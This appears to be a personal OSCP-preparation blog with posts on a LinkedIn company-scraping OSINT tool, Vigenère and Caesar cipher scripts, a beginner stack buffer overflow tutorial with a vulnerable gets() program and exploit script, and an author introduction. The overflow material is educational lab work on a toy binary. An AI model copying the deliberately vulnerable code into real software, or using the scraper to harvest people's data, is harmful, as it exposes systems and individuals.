How to hack the OSINT LAB without search nothing

 

OSINT TOOL LINKEDIN SCRAPER

Hi everyone,

This is an OSINT tool that allow search using an complete automation recognition of an input company over Linkedin social Network:

The source code of the tool is stored on my personal github repository:

https://github.com/f0ns1/OSINT_linkedin_scraper_company

How to use it:

if __name__ == '__main__':
	driver = webdriver.Chrome()
	email ="yourEmail"
	password = "your credentials"
	actions.login(driver, email, password) # if email and password isnt given, it'll prompt in terminal
	company = Company("https://www.linkedin.com/company/alten", driver=driver, scrape=True)
	print(company)
	get_company_data(company)

You shall include your email and credentials for login access to the linkedin social network, and the url company that you want audit.

The result of the output automation process for my company such an example:

 

This content is completly public and is developed for testing and learngin purposes.

And this is all, best regards,

Speaking to my classmates about cryptography

 

VIGNERE ALGORITHM

 VIGNERE ALGORITM

Jt eqitjoii,

Vsin mu ln zbcxpgi qq eigtjpomqy wdxj gibrgce vpizrdxjx:

#/usr/bin/python3

def Vigenere(clave, mensaje, modo):

alfabeto = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'

resultado = [] 

indice = 0 

clave = clave.upper() 

for caracter in mensaje: 

num = alfabeto.find(caracter.upper()) 

if num != -1: 

if modo == 'cifrar': 

num=(num+alfabeto.find(clave[indice])) % len(alfabeto)

elif modo == 'descifrar':

num=(num-alfabeto.find(clave[indice])) % len(alfabeto)

if caracter.isupper():

resultado.append(alfabeto[num])

elif caracter.islower():

resultado.append(alfabeto[num].lower())

indice = (indice + 1) % len(clave) 

else:

resultado.append(caracter)

return ''.join(resultado)

def main():

mensaje = input(str("Message to encrypt: "))

clave = 'CLAVE'

modo = 'cifrar'

if modo == 'cifrar':

resultado = Vigenere(clave, mensaje, 'cifrar')

elif modo == 'descifrar':

resultado = Vigenere(clave, mensaje, 'descifrar')

print('Mensaje cifrado:' )

print(resultado)

if __name__ == '__main__':

main()

 

CESAR ALGORITHM

CESAR ALGORITHM

34 0H0DKA90, 

F34E 4E  74FF70 BAEF 09ZDKBF0. I4F3 Z0EXD X72AD4F38:

 #/usr/bin/python3

def Cesar(mensaje, clave, modo):

alfabeto = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ.0123456789'

resultado = ''

# el mensaje se pasa a mayusculas

mensaje = mensaje.upper()

# cifra o descifra cada caracter del mensaje

for caracter in mensaje:

if caracter in alfabeto:

# calcula el numero correspondiente al caracter

num = alfabeto.find(caracter)

if modo == 'Encrypt':

num = (num + clave) % len(alfabeto)

elif modo == 'Decrypt':

num = (num - clave) % len(alfabeto)

# lo añade al resultado

resultado = resultado + alfabeto[num]

else:

# si no está en el alfabeto no se modifica

resultado = resultado + caracter

print(resultado)

#######

#MAIN Cipher cesar algorithm

########

while True:

operation=input(str("Operation type : Encrypt/Decrypt "))

if operation =='Encrypt':

message = input(str("Message to encrypt : "))

key = input(str("key number from 1 to 24 : "))

elif operation == 'Decrypt':

message = input(str("Message to encrypt : "))

key = input(str("key number from 1 to 24  : "))

Cesar(message,int(key),operation)

Solution:

 

Buffer Overflow essentials

 Hi Everyone,

I strat my new OSCP blog with a content that usually the people the people don't use to share, but is a technical skill that you of course,  should learn in order to pass the OSCP certification (25 points on the final note).

What is Buffer overflow?

Buffer overflow/ Buffer overrun is a software error produced when the program don't control the input user entry data size. 

This kind of software vulnerability allow the attacker overwrite memory sections on low level registers and get the control of the program flow.

You can find the complete description of this attack in the following link:

https://en.wikipedia.org/wiki/Buffer_overflow

Practice with Buffer overflow essentials:

For learn about buffer overflow we are going to use a simple code example, that i know that contain this kind of vulnerability.

#include <stdio.h>

int main(){

int cookie;

char buf[80];

printf("buf: %08x cookie: %08x \n", &buf, &cookie);

gets(buf);

if(cookie == 0x41424344){

print("You win");

}

}

This is the most simple example that you can find for understand the memory location overwrite. At the code you can find a couple of variables. one of them cookie and the other buf:

        int cookie;

char buf[80];

the cookie var is an integer uninitilized and the other is a buffer that allow get 80 bytes of input data size.

The execution  print the pointer to the memory position of the cookie and buffer variables.

./executable 

buf: ffc20ba0 cookie: ffc20bf0

My input data user entry........over write the memory 

The get function,  allow the user input the data to the program. Exploiting this code is It's so simple , you only need  understand that cookie has the memory position : 

        cookie: ffc20bf0

And this is different than the memory of evaluation condition:

        if(cookie == 0x41424344){

print("You win");

}

For this reason the program don't print : "You Win" And this is our objective 

How we can exploit this vulnerability ?

The strategy that we should follow in order to overwrite the memory and manipulate the flow of the program is, enter the right number of characters on the buffer, using the vulnerable gets function:

Overwrite the buffer content:

In that case the program execution find the high level if condition instruction and evaluate if the content of cookie variable is equals to: 0x41424344

And print the "You win" on the standard file descripor of program output.

Exploiting:

Exploiting tutorial execution:

Design of your first personal Exploit :

The complete code process exploiting execution:

The chosen develop language is bash (Linux scripting), but for exploit the binary execution on runtime we use one call to python in order to create the right input pattern:

Code Explanation:

Introduction:

#!/bin/bash -x  // bash header -x (debug option)

INPUT_FILE=$1 // set to var INPUT_FILE the first program argument

OUTPUT_BINARY=$2 // set to var OUTPUT_BINARY the second program argument

echo "\tInit process........"

echo "examine : $INPUT_FILE" // show data

Binary creation with gcc using source code:

gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack $INPUT_FILE -o $OUTPUT_BINARY 2>/dev/null && objdump -S $OUTPUT_BINARY | grep -A 4  "cookie == "

After binary creation we found the most important part of the process in order to anderstand the buffer overflow process, using assembler  program knowledges and objdump tool you can find the point on the source code that evaluate the if condition:

Obtain the memory position on little Endian (processor language):

export DIR=`objdump -S $OUTPUT_BINARY |grep -A 3 "cookie ==" | grep cmp | awk '{print "\x"$3"\x"$4"\x"$5"\x"$6}'`

echo "Dir overflow ... $DIR"

echo "\tInit exploit ......."

Exploiting Execution:

python3 -c "print(\"A\"*80+\"`echo $DIR`\")" | ./$OUTPUT_BINARY

Obviously you can do this:

python3 -c "print(\"A\"*80+\"<Your exploiting memory content>\")"

Compilation:

gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack stack.c -o test

Execution:

./test 
buf: ffb78750 cookie: ffb787a0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCBA
you win!

Solution: 

Ax80 + 0x41424344

echo "\0x41\0x42\0x43\0x44" | xxd -ps -r && echo 
ABCD

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCBA

And this is all for this tutorial, i hope that this could be useful for the people that want to learn the basic overflow concepts. 

I want increase the content and level  ;)

Presentation

 Hi everyone,

I'm Ildefonso González Sánchez (F0ns1), and i create this blog in order to learn, explain and share my road to OSCP certification.

I'm Spanish guy. but all the content that i share on this blog is going to be in english, for the same reason, improve myself and my language skill.

Starting Point:

I think that the best way to strat this new challenge on my life is described what is my actual knowledge status, this point of view include labor and academic description.

I'm 32 years old and i'm Technical Informatic Engenieer of Systems by Rey Juan Carlos university, I have a Master degree on Cybersecurity by Universidad Camilo Jose Cela /Deloitte Cybersoc / IMF business Madrid and four certificates on Ethical Hacking, two of them with a midium laboral reputation CSIO and CSCE by HackBySecurity company and the others with a lower reputation but with a lot of content produced ¡by s4v1tar!.

Actually i'm study a new Master degree about Offensive cybersecurity that include at final of the master the preparation to the OSCP certification.

My laboral background include different kinds of Informatic branchs such technical support, systems support, software developer, security software developer, System architect and project manager, cybersecurity contultant, Security Architect and finally Team lead of cybersecurity on Product scurity of software area.

You can contact with  me at linkedin:

linkedil profile

Public  github projects: 

MyPlayground

with best regards,